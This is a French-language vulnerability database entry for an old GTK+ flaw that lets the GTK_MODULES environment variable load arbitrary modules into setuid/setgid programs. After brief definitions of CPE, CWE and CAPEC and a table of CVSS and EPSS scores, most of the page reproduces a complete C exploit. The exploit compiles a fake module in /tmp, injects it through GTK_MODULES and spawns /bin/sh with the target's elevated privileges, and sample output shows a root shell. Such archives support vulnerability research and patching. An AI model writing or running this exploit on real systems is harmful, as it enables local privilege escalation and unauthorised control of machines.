CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
GTK+ library allows local users to specify arbitrary modules via the GTK_MODULES environmental variable, which could allow local users to gain privileges if GTK+ is used by a setuid/setgid program.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-12-22
–
–
–
0.05%
–
2025-03-02
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-03-09
–
–
–
0.05%
–
2025-03-18
–
–
–
–
0.28%
2025-03-30
–
–
–
–
0.28%
2025-04-15
–
–
–
–
0.28%
2025-04-16
–
–
–
–
0.28%
2025-04-16
–
–
–
–
0.28,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2001-01-01 23h00 +00:00 Auteur : V9 EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/2165/info
GTK+ is the Gimp Toolkit, freely available to the public and maintained by the GTK Development Team. A problem exists in the Gimp Toolkit that could allow a user elevated privileges.
The problem occurs in the ability to load modules with the GTK_MODULES environment variable. It is possible to specify a path to modules that may not be part of the GTK+ package using this environment variable. By doing so, a custom crafted module can be loaded by the toolkit. Once loaded by the toolkit, the module is executed. This issue makes it possible for a user with malicious intent to potentially gain elevated privileges, overwrite system files, or execute arbitrary and potentially dangerous code.
/* (*)gtk+[v*] local module exploit, by v9[v9@fakehalo.org]. this will give
you the euid/egid of a set*id program using gtk+. this exploit works via
the GTK_MODULES environmental variable, by tricking gtk to execute arbitrary
functions/commands with a bogus module. (using gtk_module_init())
example(./xgtk):
-------------------------------------------------------------------------------
# ls -l /usr/bin/X11/gtk_program
-rwxr-sr-x 1 root tty 437625 Oct 23 1999 /usr/bin/X11/gtk_program
# cc xgtk.c -o xgtk
# ./xgtk /usr/bin/X11/gtk_program :0.0
[ (*)gtk+[v*] local module exploit, by v9[v9@fakehalo.org]. ]
[ program: /usr/bin/X11/gtk_program(->/bin/sh), display: :0.0. ]
[*] making module for gtk+ to execute. (/tmp/gtkm.c)
[*] done, compiling module source file. (/tmp/gtkm.c->/tmp/gtkm.so)
[*] done, checking to see if the module comiled. (/tmp/gtkm.so)
[*] done, setting up the environment. (module&display)
[*] done, executing /usr/bin/X11/gtk_program, the module should load now.
[*] success, module loaded successfully.
[*] id stats: uid: 0, euid: 0, gid: 0, egid: 5.
[*] now executing: /bin/sh.
#
-------------------------------------------------------------------------------
note: this will require a valid display to exploit successfully. also, i'm
unsure of this for other gtk versions, i would just assume as much
that this applies to it.
*/
#define GCCPATH "/usr/bin/gcc" // path to gcc.
#define SRCFILE "/tmp/gtkm.c" // source to the fake module to load.
#define MODEXEC "/tmp/gtkm.so" // fake module to load.
#define DISPLAY ":0.0" // default display. (also argv option)
#define EXECUTE "/bin/sh" // execute this program.
#include <stdio.h>
#include <sys/stat.h>
int main(int argc,char **argv){
char cmd[256],syscmd[256],display[256];
struct stat mod1,mod2,mod3;
FILE *source;
fprintf(stderr,"[ (*)gtk+[v*] local module exploit, by v9[v9@fakehalo.org]. ]"
"\n");
if(argc>1){strncpy(cmd,argv[1],sizeof(cmd));}
else{
fprintf(stderr,"[!] syntax: %s </path/to/program> [display]\n",argv[0]);
exit(-1);
}
if(argc>2){strncpy(display,argv[2],sizeof(display));}
else{strncpy(display,DISPLAY,sizeof(display));}
if(stat(cmd,&mod1)){
fprintf(stderr,"[!] failed, %s doesn't seem to exist. (path needed)\n",cmd);
exit(-1);
}
if(stat(GCCPATH,&mod2)){
fprintf(stderr,"[!] failed, %s compiler doesn't seem to exist.\n",GCCPATH);
exit(-1);
}
fprintf(stderr,"[ program: %s(->%s), display: %s. ]\n\n",cmd,EXECUTE,display);
fprintf(stderr,"[*] making module for gtk+ to execute. (%s)\n",SRCFILE);
unlink(SRCFILE);
unlink(MODEXEC);
source=fopen(SRCFILE,"w");
fprintf(source,"#include <stdio.h>\n");
fprintf(source,"void gtk_module_init(){\n");
fprintf(source," unlink(\"%s\");\n",SRCFILE);
fprintf(source," unlink(\"%s\");\n",MODEXEC);
fprintf(source," fprintf(stderr,\"[*] success, module loaded successfully.\\n"
"\");\n");
fprintf(source," fprintf(stderr,\"[*] id stats: uid: %%d, euid: %%d, gid: %%d"
", egid: %%d.\\n\",getuid(),geteuid(),getgid(),getegid());\n",EXECUTE);
fprintf(source," fprintf(stderr,\"[*] now executing: %s.\\n\");\n",EXECUTE);
fprintf(source," execl(\"%s\",\"%s\",0);\n",EXECUTE,EXECUTE);
fprintf(source,"}\n");
fclose(source);
fprintf(stderr,"[*] done, compiling module source file. (%s->%s)\n",SRCFILE,
MODEXEC);
snprintf(syscmd,sizeof(syscmd),"%s -shared -o %s %s 1>/dev/null 2>&1",GCCPATH,
MODEXEC,SRCFILE);
system(syscmd);
fprintf(stderr,"[*] done, checking to see if the module comiled. (%s)\n",
MODEXEC);
if(stat(MODEXEC,&mod3)){
fprintf(stderr,"[!] failed, %s was not compiled properly. (gcc failed)\n",
MODEXEC);
exit(-1);
}
fprintf(stderr,"[*] done, setting up the environment. (module&display)\n");
setenv("GTK_MODULES",MODEXEC,1);
setenv("DISPLAY",display,1);
fprintf(stderr,"[*] done, executing %s, the module should load now.\n",cmd);
if(execl(cmd,cmd,0)){
fprintf(stderr,"[!] failed, %s did not execute properly.\n",cmd);
unlink(SRCFILE);
unlink(MODEXEC);
exit(-1);
}
}